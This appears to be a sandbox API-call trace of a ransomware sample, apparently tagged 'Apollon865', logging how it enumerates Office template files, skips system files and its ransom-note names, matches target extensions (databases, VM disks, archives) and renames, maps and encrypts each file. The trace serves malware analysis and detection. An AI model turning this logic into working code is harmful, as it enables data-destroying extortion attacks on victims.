	[0068.148] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="temp") returned -1
	[0068.148] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="pagefile.sys") returned 1
	[0068.152] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="boot") returned 1
	[0068.152] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="ids.txt") returned 1
	[0068.154] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="ntuser.dat") returned 1
	[0068.154] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="perflogs") returned 1
	[0068.156] lstrcmpiW (lpString1="PGLBL054.XML", lpString2="MSBuild") returned 1
	[0068.158] lstrlenW (lpString="PGLBL054.XML") returned 12
	[0068.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML") returned 64
	[0068.159] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL054.XML" | out: lpString1="PGLBL054.XML") returned="PGLBL054.XML"
	[0068.159] lstrlenW (lpString="PGLBL054.XML") returned 12
	[0068.160] lstrlenW (lpString="Apollon865") returned 10
	[0068.160] lstrcmpiW (lpString1="LBL054.XML", lpString2="Apollon865") returned 1
	[0068.162] lstrlenW (lpString=".dll") returned 4
	[0068.162] lstrcmpiW (lpString1="PGLBL054.XML", lpString2=".dll") returned 1
	[0068.162] lstrlenW (lpString=".lnk") returned 4
	[0068.163] lstrcmpiW (lpString1="PGLBL054.XML", lpString2=".lnk") returned 1
	[0068.163] lstrlenW (lpString=".ini") returned 4
	[0068.163] lstrcmpiW (lpString1="PGLBL054.XML", lpString2=".ini") returned 1
	[0068.164] lstrlenW (lpString=".sys") returned 4
	[0068.164] lstrcmpiW (lpString1="PGLBL054.XML", lpString2=".sys") returned 1
	[0068.165] lstrlenW (lpString="PGLBL054.XML") returned 12
	[0068.166] lstrlenW (lpString="bak") returned 3
	[0068.166] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.167] lstrlenW (lpString="ba_") returned 3
	[0068.168] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.169] lstrlenW (lpString="dbb") returned 3
	[0068.170] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.172] lstrlenW (lpString="vmdk") returned 4
	[0068.173] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.173] lstrlenW (lpString="rar") returned 3
	[0068.173] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.173] lstrlenW (lpString="zip") returned 3
	[0068.173] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.173] lstrlenW (lpString="tgz") returned 3
	[0068.173] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.173] lstrlenW (lpString="vbox") returned 4
	[0068.173] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.173] lstrlenW (lpString="vdi") returned 3
	[0068.173] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.173] lstrlenW (lpString="vhd") returned 3
	[0068.173] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.173] lstrlenW (lpString="vhdx") returned 4
	[0068.173] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.173] lstrlenW (lpString="avhd") returned 4
	[0068.173] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.173] lstrlenW (lpString="db") returned 2
	[0068.173] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.173] lstrlenW (lpString="db2") returned 3
	[0068.173] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.173] lstrlenW (lpString="db3") returned 3
	[0068.173] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.173] lstrlenW (lpString="dbf") returned 3
	[0068.173] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.173] lstrlenW (lpString="mdf") returned 3
	[0068.174] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.174] lstrlenW (lpString="mdb") returned 3
	[0068.174] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.174] lstrlenW (lpString="sql") returned 3
	[0068.174] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.174] lstrlenW (lpString="sqlite") returned 6
	[0068.174] lstrcmpiW (lpString1="54.XML", lpString2="sqlite") returned -1
	[0068.174] lstrlenW (lpString="sqlite3") returned 7
	[0068.174] lstrcmpiW (lpString1="054.XML", lpString2="sqlite3") returned -1
	[0068.174] lstrlenW (lpString="sqlitedb") returned 8
	[0068.174] lstrcmpiW (lpString1="L054.XML", lpString2="sqlitedb") returned -1
	[0068.174] lstrlenW (lpString="xml") returned 3
	[0068.174] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.174] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML.Apollon865") returned 75
	[0068.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl054.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.175] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=368502) returned 1
	[0068.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.176] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.176] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.176] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.177] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a280, lpName=0x0) returned 0xd8
	[0068.184] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a280) returned 0x210000
	[0068.397] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.398] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.398] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0068.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0068.399] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.399] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0068.403] CloseHandle (hObject=0xd8) returned 1
	[0068.403] CloseHandle (hObject=0x15c) returned 1
	[0068.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.405] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9300, ftCreationTime.dwHighDateTime=0x1c6b6bd, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc9300, ftLastWriteTime.dwHighDateTime=0x1c6b6bd, nFileSizeHigh=0x0, nFileSizeLow=0x26c44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL058.XML", cAlternateFileName="")) returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2=".") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="..") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="windows") returned -1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="bootmgr") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="temp") returned -1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="pagefile.sys") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="boot") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="ids.txt") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="ntuser.dat") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="perflogs") returned 1
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2="MSBuild") returned 1
	[0068.405] lstrlenW (lpString="PGLBL058.XML") returned 12
	[0068.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML") returned 64
	[0068.405] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL058.XML" | out: lpString1="PGLBL058.XML") returned="PGLBL058.XML"
	[0068.405] lstrlenW (lpString="PGLBL058.XML") returned 12
	[0068.405] lstrlenW (lpString="Apollon865") returned 10
	[0068.405] lstrcmpiW (lpString1="LBL058.XML", lpString2="Apollon865") returned 1
	[0068.405] lstrlenW (lpString=".dll") returned 4
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2=".dll") returned 1
	[0068.405] lstrlenW (lpString=".lnk") returned 4
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2=".lnk") returned 1
	[0068.405] lstrlenW (lpString=".ini") returned 4
	[0068.405] lstrcmpiW (lpString1="PGLBL058.XML", lpString2=".ini") returned 1
	[0068.405] lstrlenW (lpString=".sys") returned 4
	[0068.406] lstrcmpiW (lpString1="PGLBL058.XML", lpString2=".sys") returned 1
	[0068.406] lstrlenW (lpString="PGLBL058.XML") returned 12
	[0068.406] lstrlenW (lpString="bak") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.406] lstrlenW (lpString="ba_") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.406] lstrlenW (lpString="dbb") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.406] lstrlenW (lpString="vmdk") returned 4
	[0068.406] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.406] lstrlenW (lpString="rar") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.406] lstrlenW (lpString="zip") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.406] lstrlenW (lpString="tgz") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.406] lstrlenW (lpString="vbox") returned 4
	[0068.406] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.406] lstrlenW (lpString="vdi") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.406] lstrlenW (lpString="vhd") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.406] lstrlenW (lpString="vhdx") returned 4
	[0068.406] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.406] lstrlenW (lpString="avhd") returned 4
	[0068.406] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.406] lstrlenW (lpString="db") returned 2
	[0068.406] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.406] lstrlenW (lpString="db2") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.406] lstrlenW (lpString="db3") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.406] lstrlenW (lpString="dbf") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.406] lstrlenW (lpString="mdf") returned 3
	[0068.406] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.406] lstrlenW (lpString="mdb") returned 3
	[0068.407] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.407] lstrlenW (lpString="sql") returned 3
	[0068.407] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.407] lstrlenW (lpString="sqlite") returned 6
	[0068.407] lstrcmpiW (lpString1="58.XML", lpString2="sqlite") returned -1
	[0068.407] lstrlenW (lpString="sqlite3") returned 7
	[0068.407] lstrcmpiW (lpString1="058.XML", lpString2="sqlite3") returned -1
	[0068.407] lstrlenW (lpString="sqlitedb") returned 8
	[0068.407] lstrcmpiW (lpString1="L058.XML", lpString2="sqlitedb") returned -1
	[0068.407] lstrlenW (lpString="xml") returned 3
	[0068.407] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.407] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML.Apollon865") returned 75
	[0068.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl058.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.408] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=158788) returned 1
	[0068.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.409] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.409] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.409] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.410] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26f50, lpName=0x0) returned 0xd8
	[0068.411] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26f50) returned 0x120000
	[0068.422] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.423] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.423] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.423] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.423] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0068.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0068.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0068.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0068.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0068.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0068.424] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0068.425] CloseHandle (hObject=0xd8) returned 1
	[0068.425] CloseHandle (hObject=0x15c) returned 1
	[0068.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0068.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0068.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0068.426] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc7d000, ftCreationTime.dwHighDateTime=0x1c68eef, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cc7d000, ftLastWriteTime.dwHighDateTime=0x1c68eef, nFileSizeHigh=0x0, nFileSizeLow=0x165d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL065.XML", cAlternateFileName="")) returned 1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="Apollon865.txt.exe") returned 1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2=".") returned 1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="..") returned 1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="windows") returned -1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="bootmgr") returned 1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="temp") returned -1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="pagefile.sys") returned 1
	[0068.426] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="boot") returned 1
	[0068.427] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="ids.txt") returned 1
	[0068.427] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="ntuser.dat") returned 1
	[0068.427] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="perflogs") returned 1
	[0068.427] lstrcmpiW (lpString1="PGLBL065.XML", lpString2="MSBuild") returned 1
	[0068.427] lstrlenW (lpString="PGLBL065.XML") returned 12
	[0068.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML") returned 64
	[0068.427] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL065.XML" | out: lpString1="PGLBL065.XML") returned="PGLBL065.XML"
	[0068.427] lstrlenW (lpString="PGLBL065.XML") returned 12
	[0068.427] lstrlenW (lpString="Apollon865") returned 10
	[0068.427] lstrcmpiW (lpString1="LBL065.XML", lpString2="Apollon865") returned 1
	[0068.427] lstrlenW (lpString=".dll") returned 4
	[0068.427] lstrcmpiW (lpString1="PGLBL065.XML", lpString2=".dll") returned 1
	[0068.427] lstrlenW (lpString=".lnk") returned 4
	[0068.427] lstrcmpiW (lpString1="PGLBL065.XML", lpString2=".lnk") returned 1
	[0068.427] lstrlenW (lpString=".ini") returned 4
	[0068.427] lstrcmpiW (lpString1="PGLBL065.XML", lpString2=".ini") returned 1
	[0068.427] lstrlenW (lpString=".sys") returned 4
	[0068.427] lstrcmpiW (lpString1="PGLBL065.XML", lpString2=".sys") returned 1
	[0068.427] lstrlenW (lpString="PGLBL065.XML") returned 12
	[0068.427] lstrlenW (lpString="bak") returned 3
	[0068.427] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0068.427] lstrlenW (lpString="ba_") returned 3
	[0068.427] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0068.427] lstrlenW (lpString="dbb") returned 3
	[0068.427] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0068.427] lstrlenW (lpString="vmdk") returned 4
	[0068.427] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0068.427] lstrlenW (lpString="rar") returned 3
	[0068.427] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0068.427] lstrlenW (lpString="zip") returned 3
	[0068.427] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0068.427] lstrlenW (lpString="tgz") returned 3
	[0068.427] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0068.427] lstrlenW (lpString="vbox") returned 4
	[0068.427] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0068.427] lstrlenW (lpString="vdi") returned 3
	[0068.427] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0068.427] lstrlenW (lpString="vhd") returned 3
	[0068.428] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0068.428] lstrlenW (lpString="vhdx") returned 4
	[0068.428] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0068.428] lstrlenW (lpString="avhd") returned 4
	[0068.428] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0068.428] lstrlenW (lpString="db") returned 2
	[0068.428] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0068.428] lstrlenW (lpString="db2") returned 3
	[0068.428] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0068.428] lstrlenW (lpString="db3") returned 3
	[0068.428] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0068.428] lstrlenW (lpString="dbf") returned 3
	[0068.428] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0068.428] lstrlenW (lpString="mdf") returned 3
	[0068.428] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0068.428] lstrlenW (lpString="mdb") returned 3
	[0068.428] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0068.428] lstrlenW (lpString="sql") returned 3
	[0068.428] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0068.428] lstrlenW (lpString="sqlite") returned 6
	[0068.428] lstrcmpiW (lpString1="65.XML", lpString2="sqlite") returned -1
	[0068.428] lstrlenW (lpString="sqlite3") returned 7
	[0068.428] lstrcmpiW (lpString1="065.XML", lpString2="sqlite3") returned -1
	[0068.428] lstrlenW (lpString="sqlitedb") returned 8
	[0068.428] lstrcmpiW (lpString1="L065.XML", lpString2="sqlitedb") returned -1
	[0068.428] lstrlenW (lpString="xml") returned 3
	[0068.428] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0068.428] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML.Apollon865") returned 75
	[0068.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml.apollon865"), dwFlags=0x1) returned 1
	[0068.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0068.429] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=91606) returned 1
	[0068.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0068.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0068.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0068.430] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0068.430] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0068.430] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.430] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x168e0, lpName=0x0) returned 0xd8
	[0068.432] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x168e0) returned 0x120000
	[0068.439] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0068.440] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0068.440] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0068.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0068.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0068.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0068.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0068.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
